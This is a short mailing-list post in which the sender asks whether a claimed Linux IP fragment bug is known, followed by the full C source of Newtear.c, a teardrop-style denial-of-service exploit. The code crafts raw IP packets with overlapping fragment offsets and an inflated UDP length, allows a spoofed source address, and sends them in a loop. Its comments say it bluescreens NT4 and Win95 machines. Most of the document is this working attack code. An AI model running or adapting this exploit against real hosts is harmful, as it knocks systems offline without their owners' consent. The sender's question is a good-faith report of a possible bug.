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Subjectproclaimed kernel networking bug
Hi... Found this file lying around claiming to exploit an IP overlapping
fragment bug found in "all linux kernels". ;) Said to be able to kill
Linux kernels... Is this something known? It seems far to serious not to
be known and/or fixed. Sorry to bother if that's the case.

See attached code.

--
Jakob Borg
/* Newtear.c
* Seemingly, a new teardrop type exploit. Affects NT4, and Win95.
*
* [ http://www.rootshell.com/ ]
*
* Discovered 01/08/1998
*
* Updated notes:
* This is a new version of teardrop. It affects NT 4 and Win95 machines with all
* current patches and hotfixes. Causes a bluescreen in both operating systems.
* Linux appears unaffected, other *NIXes untested. Differences are:
*
* Smaller padding data size (20 bytes instead of 28 in previous teardrop)
* Faked out UDP total length. (Increased reported UDP length to twice what it really is)
*
* Copyright (c) 1997 route|daemon9 <route@infonexus.com> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x14 /* datagram frame padding for first packet */ /* JD Change pad size to 20 decimal. */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
fprintf(stderr, "teardrop route|daemon9\n\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");

for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;

/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING*2); /* UDP total length */ /* Increases UDP total length to 48 bytes
Which is too big! */
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
/* EOF */
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